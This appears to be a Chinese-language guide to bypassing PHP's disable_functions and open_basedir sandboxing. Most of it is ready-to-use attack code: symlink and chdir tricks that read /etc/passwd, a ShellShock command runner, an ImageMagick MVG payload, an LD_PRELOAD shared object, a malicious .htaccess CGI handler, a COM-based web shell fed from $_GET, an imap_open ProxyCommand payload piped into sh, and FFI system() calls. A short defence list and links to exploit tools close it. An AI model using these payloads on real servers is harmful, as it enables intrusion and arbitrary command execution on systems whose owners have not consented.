php中函数禁用绕过的原理与利用
字数 1278 2025-08-15 21:33:04
PHP函数禁用绕过原理与利用完全指南
1. 信息收集与基础概念
1.1 关键配置项识别
从phpinfo中获取关键信息:
- PHP版本号:查找特定版本的已知漏洞
- DOCUMENT_ROOT:确定网站根目录路径
- disable_functions:被禁用的函数列表
- open_basedir:限制PHP可访问的目录
- opcache:可能用于getshell
- allow_url_include/fopen:文件包含相关配置
- short_open_tag:短标签支持情况
1.2 常见限制场景
典型限制配置示例:
ini_set('open_basedir', '/var/www/html:/tmp');
var_dump(scandir("/")); // 失败
2. open_basedir绕过技术
2.1 符号链接(Symlink)绕过
<?php
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
// 访问exploit可读取/etc/passwd
2.2 glob协议利用
<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
2.3 chdir与ini_set组合
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');
2.4 bindtextdomain利用
$re = bindtextdomain('xxx', '/etc/passwd'); // 存在返回路径,不存在返回false
2.5 realpath报错利用(Win)
// Windows下使用通配符<和>枚举文件
3. disable_functions绕过技术
3.1 黑名单突破
寻找替代函数执行命令:
- 反引号(``)
- pcntl_exec
- popen/proc_open
- shell_exec
3.2 ShellShock漏洞利用(CVE-2014-6271)
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
return $output ?: "No output";
}
3.3 ImageMagick漏洞(CVE-2016-3714)
构造恶意图片:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
PHP触发代码:
new Imagick('test.mvg');
3.4 LD_PRELOAD技术
原理
通过环境变量优先加载自定义动态库
实现步骤
- 编写恶意so文件(hack.c):
#include <stdlib.h>
#include <unistd.h>
int geteuid() { system("ls >test"); return 0; }
- 编译:
gcc -shared -fPIC hack.c -o hack.so
- PHP触发:
putenv("LD_PRELOAD=./hack.so");
mail("","","",""); // 触发子进程
3.5 Apache Mod CGI绕过
- 上传.htaccess:
Options +ExecCGI
AddHandler cgi-script .test
- 上传可执行文件a.test:
#!/bin/bash
echo&&ls
- 赋予权限并访问
3.6 PHP-FPM利用
攻击条件
- FPM监听在公网(0.0.0.0)
- 可伪造FastCGI通信
利用脚本
# 使用专用工具发送恶意FastCGI包
3.7 COM组件利用(Windows)
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$_GET['cmd']);
echo $exec->StdOut()->ReadAll();
3.8 imap_open绕过(CVE-2018-19518)
// 利用ssh的ProxyCommand执行命令
$imap = imap_open('{server:993/imap/ssl}INBOX', 'user', 'pass');
Payload示例:
x+-oProxyCommand=echo<base64编码命令>|base64 -d|sh
4. 高级绕过技术
4.1 UAF漏洞利用
可用漏洞
- Json Serializer UAF (PHP 7.1+)
- GC UAF (PHP 7.0-7.3)
- Backtrace UAF (PHP 7.0-7.2)
利用方式
使用现成exp工具:
./php7-backtrace-bypass.php
4.2 SplDoublyLinkedList UAF
影响版本
- PHP 7.4.10
- PHP 7.3.22
- PHP 7.2.34
利用代码
// 复杂的内存操作实现任意代码执行
4.3 FFI扩展利用(PHP 7.4+)
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
加载自定义头文件
$ffi = FFI::load("/flag.h");
$a = $ffi->flag_function();
5. 防御建议
- 及时更新PHP版本
- 避免不必要的函数禁用
- 限制危险扩展加载
- 正确配置open_basedir
- 监控异常进程创建
- 禁用危险协议(如glob)
- 定期审计服务器配置
6. 工具资源
- 蚁剑Bypass插件:https://github.com/AntSwordProject
- UAF利用工具:https://github.com/mm0r1/exploits
- PHP-FPM攻击工具:https://github.com/neex/phuip-fpizdam